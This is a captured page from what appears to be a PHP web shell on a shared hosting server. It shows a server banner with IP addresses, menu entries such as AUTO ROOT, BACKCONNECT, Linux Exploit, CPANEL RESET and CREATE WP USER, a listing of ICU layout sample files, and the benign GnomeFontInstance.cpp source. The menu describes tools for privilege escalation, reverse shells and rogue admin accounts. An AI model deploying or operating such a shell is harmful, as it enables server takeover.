Linux business72.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
LiteSpeed
: 162.0.229.97 | : 3.141.32.254
Cant Read [ /etc/named.conf ]
8.1.30
temmmp
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
opt /
alt /
libicu /
usr /
share /
doc /
alt-libicu-devel /
samples /
layout /
[ HOME SHELL ]
Name
Size
Permission
Action
FontMap.GDI
426
B
-rw-r--r--
FontMap.Gnome
392
B
-rw-r--r--
FontMap.cpp
7.34
KB
-rw-r--r--
FontMap.h
1.84
KB
-rw-r--r--
FontTableCache.cpp
2.37
KB
-rw-r--r--
FontTableCache.h
1.06
KB
-rw-r--r--
GDIFontInstance.cpp
9.6
KB
-rw-r--r--
GDIFontInstance.h
3.6
KB
-rw-r--r--
GDIFontMap.cpp
1.32
KB
-rw-r--r--
GDIFontMap.h
1.23
KB
-rw-r--r--
GDIGUISupport.cpp
862
B
-rw-r--r--
GDIGUISupport.h
949
B
-rw-r--r--
GUISupport.h
890
B
-rw-r--r--
GnomeFontInstance.cpp
5.43
KB
-rw-r--r--
GnomeFontInstance.h
3.79
KB
-rw-r--r--
GnomeFontMap.cpp
1.39
KB
-rw-r--r--
GnomeFontMap.h
1.21
KB
-rw-r--r--
GnomeGUISupport.cpp
1.05
KB
-rw-r--r--
GnomeGUISupport.h
961
B
-rw-r--r--
LayoutSample.rc
3.37
KB
-rw-r--r--
Makefile
2.92
KB
-rw-r--r--
Makefile.in
2.92
KB
-rw-r--r--
RenderingSurface.h
1.09
KB
-rw-r--r--
Sample.txt
1.66
KB
-rw-r--r--
ScriptCompositeFontInstance.cp...
3.2
KB
-rw-r--r--
ScriptCompositeFontInstance.h
6.15
KB
-rw-r--r--
Surface.cpp
892
B
-rw-r--r--
Surface.h
519
B
-rw-r--r--
UnicodeReader.cpp
4.1
KB
-rw-r--r--
UnicodeReader.h
999
B
-rw-r--r--
arraymem.h
646
B
-rw-r--r--
cgnomelayout.c
8.45
KB
-rw-r--r--
clayout.c
9.82
KB
-rw-r--r--
cmaps.cpp
5.3
KB
-rw-r--r--
cmaps.h
2.06
KB
-rw-r--r--
gdiglue.cpp
1.67
KB
-rw-r--r--
gdiglue.h
983
B
-rw-r--r--
gnomeglue.cpp
1.64
KB
-rw-r--r--
gnomeglue.h
986
B
-rw-r--r--
gnomelayout.cpp
8.5
KB
-rw-r--r--
gsupport.h
370
B
-rw-r--r--
layout.cpp
9.8
KB
-rw-r--r--
layout.sln
1.17
KB
-rw-r--r--
layout.vcxproj
13.15
KB
-rw-r--r--
layout.vcxproj.filters
3.06
KB
-rw-r--r--
paragraph.cpp
7.58
KB
-rw-r--r--
paragraph.h
2.18
KB
-rw-r--r--
pflow.c
9.27
KB
-rw-r--r--
pflow.h
940
B
-rw-r--r--
readme.html
7.32
KB
-rw-r--r--
resource.h
907
B
-rw-r--r--
rsurface.cpp
712
B
-rw-r--r--
rsurface.h
528
B
-rw-r--r--
sfnt.h
4.9
KB
-rw-r--r--
ucreader.cpp
509
B
-rw-r--r--
ucreader.h
422
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : GnomeFontInstance.cpp
/* ******************************************************************************* * * © 2016 and later: Unicode, Inc. and others. * License & terms of use: http://www.unicode.org/copyright.html#License * ******************************************************************************* ******************************************************************************* * * Copyright (C) 1999-2007, International Business Machines * Corporation and others. All Rights Reserved. * ******************************************************************************* * file name: GnomeFontInstance.cpp * * created on: 08/30/2001 * created by: Eric R. Mader */ #include <gnome.h> #include <ft2build.h> #include FT_FREETYPE_H #include FT_GLYPH_H #include FT_RENDER_H #include FT_TRUETYPE_TABLES_H #include <cairo.h> #include <cairo-ft.h> #include "layout/LETypes.h" #include "layout/LESwaps.h" #include "GnomeFontInstance.h" #include "sfnt.h" #include "cmaps.h" GnomeSurface::GnomeSurface(GtkWidget *theWidget) : fWidget(theWidget) { fCairo = gdk_cairo_create(fWidget->window); } GnomeSurface::~GnomeSurface() { cairo_destroy(fCairo); } void GnomeSurface::drawGlyphs(const LEFontInstance *font, const LEGlyphID *glyphs, le_int32 count, const float *positions, le_int32 x, le_int32 y, le_int32 /*width*/, le_int32 /*height*/) { GnomeFontInstance *gFont = (GnomeFontInstance *) font; gFont->rasterizeGlyphs(fCairo, glyphs, count, positions, x, y); } GnomeFontInstance::GnomeFontInstance(FT_Library engine, const char *fontPathName, le_int16 pointSize, LEErrorCode &status) : FontTableCache(), fPointSize(pointSize), fUnitsPerEM(0), fAscent(0), fDescent(0), fLeading(0), fDeviceScaleX(1), fDeviceScaleY(1), fMapper(NULL) { FT_Error error; fFace = NULL; fCairoFace = NULL; error = FT_New_Face(engine, fontPathName, 0, &fFace); if (error != 0) { printf("OOPS! Got error code %d\n", error); status = LE_FONT_FILE_NOT_FOUND_ERROR; return; } // FIXME: what about the display resolution? fDeviceScaleX = ((float) 96) / 72; fDeviceScaleY = ((float) 96) / 72; error = FT_Set_Char_Size(fFace, 0, pointSize << 6, 92, 92); fCairoFace = cairo_ft_font_face_create_for_ft_face(fFace, 0); fUnitsPerEM = fFace->units_per_EM; fAscent = (le_int32) (yUnitsToPoints(fFace->ascender) * fDeviceScaleY); fDescent = (le_int32) -(yUnitsToPoints(fFace->descender) * fDeviceScaleY); fLeading = (le_int32) (yUnitsToPoints(fFace->height) * fDeviceScaleY) - fAscent - fDescent; // printf("Face = %s, unitsPerEM = %d, ascent = %d, descent = %d\n", fontPathName, fUnitsPerEM, fAscent, fDescent); if (error != 0) { status = LE_MEMORY_ALLOCATION_ERROR; return; } status = initMapper(); } GnomeFontInstance::~GnomeFontInstance() { cairo_font_face_destroy(fCairoFace); if (fFace != NULL) { FT_Done_Face(fFace); } } LEErrorCode GnomeFontInstance::initMapper() { LETag cmapTag = LE_CMAP_TABLE_TAG; const CMAPTable *cmap = (const CMAPTable *) readFontTable(cmapTag); if (cmap == NULL) { return LE_MISSING_FONT_TABLE_ERROR; } fMapper = CMAPMapper::createUnicodeMapper(cmap); if (fMapper == NULL) { return LE_MISSING_FONT_TABLE_ERROR; } return LE_NO_ERROR; } const void *GnomeFontInstance::getFontTable(LETag tableTag) const { return FontTableCache::find(tableTag); } const void *GnomeFontInstance::readFontTable(LETag tableTag) const { FT_ULong len = 0; FT_Byte *result = NULL; FT_Load_Sfnt_Table(fFace, tableTag, 0, NULL, &len); if (len > 0) { result = LE_NEW_ARRAY(FT_Byte, len); FT_Load_Sfnt_Table(fFace, tableTag, 0, result, &len); } return result; } void GnomeFontInstance::getGlyphAdvance(LEGlyphID glyph, LEPoint &advance) const { advance.fX = 0; advance.fY = 0; if (glyph >= 0xFFFE) { return; } FT_Error error; error = FT_Load_Glyph(fFace, glyph, FT_LOAD_DEFAULT); if (error != 0) { return; } advance.fX = fFace->glyph->metrics.horiAdvance >> 6; return; } le_bool GnomeFontInstance::getGlyphPoint(LEGlyphID glyph, le_int32 pointNumber, LEPoint &point) const { FT_Error error; error = FT_Load_Glyph(fFace, glyph, FT_LOAD_DEFAULT); if (error != 0) { return FALSE; } if (pointNumber >= fFace->glyph->outline.n_points) { return FALSE; } point.fX = fFace->glyph->outline.points[pointNumber].x >> 6; point.fY = fFace->glyph->outline.points[pointNumber].y >> 6; return TRUE; } void GnomeFontInstance::rasterizeGlyphs(cairo_t *cairo, const LEGlyphID *glyphs, le_int32 glyphCount, const float *positions, le_int32 x, le_int32 y) const { cairo_glyph_t *glyph_t = LE_NEW_ARRAY(cairo_glyph_t, glyphCount); le_int32 in, out; for (in = 0, out = 0; in < glyphCount; in += 1) { TTGlyphID glyph = LE_GET_GLYPH(glyphs[in]); if (glyph < 0xFFFE) { glyph_t[out].index = glyph; glyph_t[out].x = x + positions[in*2]; glyph_t[out].y = y + positions[in*2 + 1]; out += 1; } } cairo_set_font_face(cairo, fCairoFace); cairo_set_font_size(cairo, getXPixelsPerEm() * getScaleFactorX()); cairo_show_glyphs(cairo, glyph_t, out); LE_DELETE_ARRAY(glyph_t); }
Close